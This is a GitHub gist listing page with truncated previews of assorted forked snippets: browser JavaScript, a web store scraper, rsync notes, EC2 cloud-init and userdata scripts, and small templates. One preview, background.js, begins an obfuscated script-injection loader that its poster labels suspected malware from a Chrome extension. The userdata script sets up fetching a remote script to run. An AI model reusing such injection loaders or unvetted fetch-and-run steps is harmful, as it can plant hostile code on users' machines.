Skip to content

Instantly share code, notes, and snippets.

@MikeeI
MikeeI / chrome-extension-install.js
Created March 19, 2017 15:07 — forked from sherbondy/chrome-extension-install.js
Woah, one-click chrome extension installation, found while browsing the one-tab website... Didn't know this existed, but makes complete sense.
var clickTargetIds = ['installButton1', 'installButton2'];
var isChrome = navigator.userAgent.indexOf("Chrome")!=-1;
for(var i in clickTargetIds) {
document.getElementById(clickTargetIds[i]).onclick = function() {
if(isChrome) {
window['chrome']['webstore']['install'](undefined, function() {
// damn, they even record analytics events to see how effective the install button is...
@MikeeI
MikeeI / cookies.js
Created March 19, 2017 15:07 — forked from rodolfofadino/cookies.js
Cookies
function createCookie(name, value, days) {
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
var expires = "; expires=" + date.toGMTString();
}
else var expires = "";
document.cookie = name + "=" + value + expires + "; path=/";
}
@MikeeI
MikeeI / background.js
Created March 19, 2017 15:09 — forked from 0xcrypto/background.js
here it is...
// took out from https://chrome.google.com/webstore/detail/emaze/aiimeahlhgelkbokgffmpdagdaachlpk
// do not install. High possibility of being a malware...
setTimeout(function()
{
(function()
{
var _0x47a5x0=document["getElementsByTagName"]("head")[0];
var _0x47a5x1=document["createElement"]("script");
_0x47a5x1["type"]="text/javascript";
@MikeeI
MikeeI / google_chrome_webstore_devtools_users_rank.py
Created March 23, 2017 17:11 — forked from ficapy/google_chrome_webstore_devtools_users_rank.py
谷歌浏览器应用商店使用人数排行 P.S 因木有代理 使用单线程执行,有极少部分请求被ban没有得到结果
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Ficapy
# Create: '15/10/27'
from pyquery import PyQuery as pq
from operator import attrgetter
from concurrent.futures import ThreadPoolExecutor, as_completed
from operator import methodcaller
import requests
@MikeeI
MikeeI / Documentation.md
Created August 26, 2017 14:58 — forked from KartikTalwar/Documentation.md
Rsync over SSH - (40MB/s over 1GB NICs)

The fastest remote directory rsync over ssh archival I can muster (40MB/s over 1gb NICs)

This creates an archive that does the following:

rsync (Everyone seems to like -z, but it is much slower for me)

  • a: archive mode - rescursive, preserves owner, preserves permissions, preserves modification times, preserves group, copies symlinks as symlinks, preserves device files.
  • H: preserves hard-links
  • A: preserves ACLs
@MikeeI
MikeeI / cloud-init.sh
Created October 14, 2019 12:10 — forked from guiambros/cloud-init.sh
Cloud-Init.sh - Amazon EC2 initial instance setup script (tested with Ubuntu 12.04 LTS)
#!/bin/bash
function getpublickey()
{
x=$(curl -fs http://169.254.169.254/latest/meta-data/public-keys/)
if [ $? -eq 0 ]; then
for i in $x; do
index=$(echo $i|cut -d = -f 1)
format=$(curl -s http://169.254.169.254/latest/meta-data/public-keys/$index/)
echo $(curl -s http://169.254.169.254/latest/meta-data/public-keys/$index/$format)
@MikeeI
MikeeI / cloud-init.sh
Created October 14, 2019 12:10 — forked from guiambros/cloud-init.sh
Cloud-Init.sh - Amazon EC2 initial instance setup script (tested with Ubuntu 12.04 LTS)
#!/bin/bash
function getpublickey()
{
x=$(curl -fs http://169.254.169.254/latest/meta-data/public-keys/)
if [ $? -eq 0 ]; then
for i in $x; do
index=$(echo $i|cut -d = -f 1)
format=$(curl -s http://169.254.169.254/latest/meta-data/public-keys/$index/)
echo $(curl -s http://169.254.169.254/latest/meta-data/public-keys/$index/$format)
#!/bin/bash
url="https://gist.githubusercontent.com/RichardBronosky/2d04c7c2e9a5bea67cd9760a35415a3f/raw/install_mongo.sh"
script="/tmp/userdata.sh"
echo "Running userdata script as $(whoami) from $(pwd)"
# Log commands to stdout and vicariously /var/log/cloud-init-output.log
set -o xtrace
# Exit on error
@MikeeI
MikeeI / index.html
Last active December 4, 2020 18:03 — forked from corburn/index.html
Minimal HTML5
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>title</title>
<link rel="stylesheet" href="style.css">
<script src="script.js"></script>
</head>
<body>
#!/usr/bin/bash
# Finde alle Filmordner
MOVIES=$(find . | grep STREAM$)
# Für jeden Film:
for M in $MOVIES
do
# Liste alle Filmdateien auf